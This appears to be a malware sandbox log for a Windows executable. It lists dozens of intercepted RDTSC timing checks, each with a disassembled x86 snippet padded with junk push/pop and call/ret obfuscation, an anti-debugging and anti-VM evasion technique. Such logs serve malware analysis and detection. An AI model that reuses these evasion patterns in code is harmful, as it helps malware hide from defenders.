Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CE91E second address: 8CE923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CE923 second address: 8CE929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8CE929 second address: 8CE92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8D3DAB second address: 8D3DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8D3DB5 second address: 8D3DFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD4h 0x00000007 jnc 00007FB998C5DAC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FB998C5DAD6h 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FB998C5DAC6h 0x0000001c jmp 00007FB998C5DACBh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8D3FA4 second address: 8D3FA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 86CA55 second address: 86CA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB998C5DAC6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF038 second address: 8DF054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF054 second address: 8DF058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF058 second address: 8DF079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jnc 00007FB99871C5C8h 0x0000000e jmp 00007FB99871C5CEh 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF217 second address: 8DF238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FB998C5DACFh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007FB998C5DAC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF238 second address: 8DF23C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF627 second address: 8DF62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8DF62D second address: 8DF631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E7250 second address: 8E7286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACEh 0x00000007 ja 00007FB998C5DAC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007FB998C5DAD9h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E7286 second address: 8E72AE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FB99871C5D9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 864272 second address: 8642A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD4h 0x00000007 jmp 00007FB998C5DACAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007FB998C5DAC6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8642A4 second address: 8642A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6164 second address: 8E6178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FB998C5DACEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6178 second address: 8E6197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 jmp 00007FB99871C5D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6197 second address: 8E619C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E619C second address: 8E61AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jbe 00007FB99871C5C6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E61AD second address: 8E61B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AAA83 second address: 8AAA8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AAA8A second address: 8AAB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FB998C5DACDh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FB998C5DAC8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 cld 0x00000029 xor dword ptr [ebp+122D1BD9h], ebx 0x0000002f lea eax, dword ptr [ebp+12496822h] 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007FB998C5DAC8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f or dword ptr [ebp+122DB596h], esi 0x00000055 mov edx, dword ptr [ebp+122D3A6Ch] 0x0000005b push eax 0x0000005c pushad 0x0000005d js 00007FB998C5DACCh 0x00000063 jne 00007FB998C5DAC6h 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AAB0A second address: 88BD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D1C07h] 0x00000011 push edi 0x00000012 mov di, bx 0x00000015 pop ecx 0x00000016 call dword ptr [ebp+122D3566h] 0x0000001c push edi 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jnl 00007FB99871C5C6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB121 second address: 8AB126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB126 second address: 8AB15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB99871C5C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jnc 00007FB99871C5D4h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB99871C5CDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB15E second address: 8AB162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB162 second address: 8AB168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB168 second address: 8AB193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007FB998C5DAD4h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB695 second address: 8AB704 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor edx, dword ptr [ebp+122D23EFh] 0x00000011 mov edi, dword ptr [ebp+122D36E5h] 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FB99871C5C8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 pushad 0x00000034 add ebx, dword ptr [ebp+122D3A58h] 0x0000003a jc 00007FB99871C5CCh 0x00000040 mov dword ptr [ebp+122D316Ch], edx 0x00000046 popad 0x00000047 nop 0x00000048 jmp 00007FB99871C5D6h 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 pushad 0x00000051 popad 0x00000052 pop eax 0x00000053 jng 00007FB99871C5CCh 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABE6D second address: 8ABE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABE71 second address: 8ABE77 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABE77 second address: 8ABEDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FB998C5DACAh 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FB998C5DAC8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov dl, 10h 0x00000031 sub dword ptr [ebp+12489A8Ah], ebx 0x00000037 lea eax, dword ptr [ebp+12496866h] 0x0000003d sub dword ptr [ebp+1245EA8Bh], edi 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jnc 00007FB998C5DAC6h 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABEDA second address: 8ABEE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABEE1 second address: 8ABF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB998C5DAC8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D1950h], esi 0x0000002a mov edi, ecx 0x0000002c lea eax, dword ptr [ebp+12496822h] 0x00000032 movsx edx, cx 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 jne 00007FB998C5DAD9h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABF39 second address: 8ABF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ABF43 second address: 8ABF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6434 second address: 8E643F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E643F second address: 8E6443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6443 second address: 8E6447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6447 second address: 8E644D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB140 second address: 8AB146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8AB146 second address: 8AB15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB998C5DACDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6713 second address: 8E6718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E68A0 second address: 8E68A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6A0D second address: 8E6A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6CD9 second address: 8E6CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop esi 0x00000009 jng 00007FB998C5DACCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6E29 second address: 8E6E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6E35 second address: 8E6E47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB998C5DAF9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8E6E47 second address: 8E6E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ED639 second address: 8ED643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB998C5DAC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ED643 second address: 8ED64D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ED64D second address: 8ED667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD4h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ED667 second address: 8ED683 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jnp 00007FB99871C5C6h 0x00000014 jc 00007FB99871C5C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECAF9 second address: 8ECB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECB06 second address: 8ECB24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FB99871C5D0h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECB24 second address: 8ECB4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB998C5DAD9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECB4D second address: 8ECB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECF26 second address: 8ECF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8ECF2B second address: 8ECF3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB99871C5CAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1C4D second address: 8F1C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1DEB second address: 8F1E2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB99871C5D2h 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FB99871C5D9h 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB99871C5CAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1E2E second address: 8F1E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1E32 second address: 8F1E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1F85 second address: 8F1FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007FB998C5DACDh 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FB998C5DACEh 0x00000014 jmp 00007FB998C5DAD8h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FB998C5DACCh 0x00000020 popad 0x00000021 popad 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F1FD7 second address: 8F1FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F2290 second address: 8F22AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F22AD second address: 8F22B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F23F9 second address: 8F2429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 jmp 00007FB998C5DAD6h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB998C5DACFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F2429 second address: 8F2462 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e jno 00007FB99871C5CAh 0x00000014 jne 00007FB99871C5D9h 0x0000001a jns 00007FB99871C5D2h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F2462 second address: 8F2468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F25AA second address: 8F25BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edi 0x00000008 jno 00007FB99871C5C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F28B0 second address: 8F28CE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB998C5DAC6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB998C5DACDh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8F28CE second address: 8F28D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8FCB4A second address: 8FCB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
